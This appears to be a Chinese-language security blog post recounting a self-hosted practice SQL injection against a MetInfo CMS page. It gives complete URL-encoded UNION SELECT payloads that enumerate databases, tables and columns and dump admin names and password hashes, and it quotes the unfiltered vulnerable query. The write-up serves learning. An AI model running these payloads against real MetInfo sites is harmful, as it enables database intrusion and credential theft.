BlBana's BlackHouse.

记一次曲折的注入

字数统计: 1.9k阅读时长: 7 min
2016/07/28 Share

这两天自己搭了一个Metinfo的站点练手,从网上找了个注入点,手工测试了一下明显的有注入点的存在,先扔到SQLMAP里跑跑看~~

曲折才刚刚开始

参考链接

/about/show.php?lang=cn&id=22

这两天自己搭了一个Metinfo的站点练手,从网上找了个注入点,手工测试了一下明显的有注入点的存在,先扔到SQLMAP里跑跑看~~

image

成功跑出来了我服务器上的所有数据库 ~ 可以的 大兄弟

接着来跑跑表和字段吧~~

image

接着又跑出来了所有的表和met_admin_column表中的所有字段,看来马上就成功啦 哈哈

其实我们在使用工具的时候根据工具中回显的情况基本就可判断出,SQLMAP使用的是什么payload以及注入的具体方式,比如在我这次查询的过程中,可以看到不论查询的是数据库还是表,都是一个一个进行查询的,就可以判断出来payload中使用了LIMIT这样的查询方式,限定了每次查询的个数。要是出现一个一个字符出来的情况,可以判断出,查询数据库的版本可能较低,因为通常现在的数据库都是有元数据表的,可以直接进行查询,一个字符一个字符出现,说明他利用ACSII码在进行比对比对成功以后回显字符。
但是继续用SQLMAP跑字段中数据的时候出现了错误,无法dump字段中的数据,曲折就此开始……


开启手工大法

既然工具无法顺利的跑出数据,可以尝试使用手工进行注入

image

这是一个正常的页面

爆字段数

首先来测试一下字段数有多少,通常我们使用order by语句进行查询,尝试多次order by n ,n值无论如何测试,页面回显都是正常的,说明这种测试方法行不通

image

换着使用union语句去查询当前表的字段数,利用:

UNION ALL SELECT null

UNION ALL SELECT null,null

UNION ALL SELECT null,null,null

方式递归查询字段数,直到返回正常的页面为止,当我查询到27个字段时为正常,第28个报错时,可以判断出共有27个字段数。

image

成功爆出了字段数,继续下一步

爆出数据库

先使用联合查询尝试爆出显位

UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27

页面回显404,出现了错误 (通过查看源代码可以知道,只要SQL语句查询不正确,就会返回404

修改payload,将整个payload进行URL编码

%20UNION%20ALL%20SELECT%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%23

此时页面回显正常,说明我们语句构造成功了

image

但是回显的页面说我们权限不够,先不管他继续尝试注入看是否能够成功。

先构造出查询数据库的查询语句,如下所示:

%28SELECT%20CONCAT%280x7162717671%2CIFNULL%28CAST%28schema_name%20AS%20CHAR%29%2C0x20%29%2C0x71716a6a71%29%20FROM%20INFORMATION_SCHEMA.SCHEMATA%20LIMIT%207%2C1%29

SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA

以上两种语句都可以查询元数据表中的各个数据库名字

我们将查询语句依次尝试放入各个字段的位置里进行测试,发现除了21号位置以外,其他不管放在什么位置都会弹出窗口显示权限不足。

其他位置

image

image

21号字段

image

此时我们可以看到,当我们把查询语句放在21号位置上的时候页面返回正常,并且成功的爆出了显位是14号位置,仿佛看见了希望呀,感动~~~

直接把查询语句放在14号位置,21号位置不放时,又出现了错误。。。我。。尼 淡定 。。。想了想看来得有个语句把21号位置占住了,不然有了显位也没用,没办法爆出数据库。

/about/show.php?lang=cn&id=-1411%20UNION%20ALL%20SELECT%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2CCONCAT_WS(0x203a20,USER(),DATABASE(),VERSION())%2C15%2C16%2C17%2C18%2C19%2C20%2C%28SELECT%20CONCAT%280x7162717671%2CIFNULL%28CAST%28schema_name%20AS%20CHAR%29%2C0x20%29%2C0x71716a6a71%29%20FROM%20INFORMATION_SCHEMA.SCHEMATA%20LIMIT%207%2C1%29%2C22%2C23%2C24%2C25%2C26%2C27%23

image

这次再次尝试了新的payload,看到结果感动的不要不要的,数据库爆出来了 让我哭一会 (看起来很容易的样子,我弄的时候刚开始没想到这,各种挠头啊啊啊,还是突然想到这么搞得…

爆出了数据库剩下的就简单了

爆出表

/about/show.php?lang=cn&id=-1411%20UNION%20ALL%20SELECT%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x6d6574)%2C15%2C16%2C17%2C18%2C19%2C20%2C%28SELECT%20CONCAT%280x7162717671%2CIFNULL%28CAST%28schema_name%20AS%20CHAR%29%2C0x20%29%2C0x71716a6a71%29%20FROM%20INFORMATION_SCHEMA.SCHEMATA%20LIMIT%207%2C1%29%2C22%2C23%2C24%2C25%2C26%2C27%23

image

哈哈 ~ fighting

爆字段

/about/show.php?lang=cn&id=-1411%20UNION%20ALL%20SELECT%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x6d65745f61646d696e5f7461626c65)%2C15%2C16%2C17%2C18%2C19%2C20%2C%28SELECT%20CONCAT%280x7162717671%2CIFNULL%28CAST%28schema_name%20AS%20CHAR%29%2C0x20%29%2C0x71716a6a71%29%20FROM%20INFORMATION_SCHEMA.SCHEMATA%20LIMIT%207%2C1%29%2C22%2C23%2C24%2C25%2C26%2C27%23

image

爆数据

/about/show.php?lang=cn&id=-1411%20UNION%20ALL%20SELECT%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C(SELECT+GROUP_CONCAT(admin_pass,admin_name+SEPARATOR+0x3c62723e)+FROM+met.met_admin_table)%2C15%2C16%2C17%2C18%2C19%2C20%2C%28SELECT%20CONCAT%280x7162717671%2CIFNULL%28CAST%28schema_name%20AS%20CHAR%29%2C0x20%29%2C0x71716a6a71%29%20FROM%20INFORMATION_SCHEMA.SCHEMATA%20LIMIT%207%2C1%29%2C22%2C23%2C24%2C25%2C26%2C27%23

image

成功

总结

其实这个注入并不难,从它的代码上看到,没有任何的过滤措施,注入点就是一个基于布尔型的盲注,只要能够构造出来正确的查询语句,查询起来并不困难。这个注入点的难点其实就在于,你必须在占住21号位置的前提下利用14号位置进行查询,再者就是构造的语句必须经过URL编码,否则会报错。

$show = $db->get_one("SELECT * FROM $met_column WHERE id=$id and module=1");

这个是注入点的代码,发现其实很简答。

原文链接上给出的是基于时间型的盲注,可能是因为他们防护措施做的比较好,无法回显数据出来,我是直接在服务器上搭好当练习使用的,没有太多的防护措施,这个时候就可以巧妙地利用SQL语句中sleep()函数进行注入,这样即便没有回显,我们也可以拿到数据库等信息


通过这次练习,真的说明了渗透靠的是耐心,这个漏洞使用各种姿势去构造语句,一直没办法成功,这也说明了实战经验还是太少了,但是其实只要明白了整个注入的原理,根据返回的数据进行payload的修改,肯定能够构造出正确的语句,注入的重点在于语句的构造,这也需要我们对SQL语句的熟练,以及对于常用数据库特性有着不错的理解,因此学好SQL语句和Mysql,Mssql,Oracle等常用的数据库都是必须的

CATALOG
  1. 1. 曲折才刚刚开始
  2. 2. 开启手工大法
    1. 2.1. 爆字段数
    2. 2.2. 爆出数据库
    3. 2.3. 爆出表
    4. 2.4. 爆字段
    5. 2.5. 爆数据
  3. 3. 总结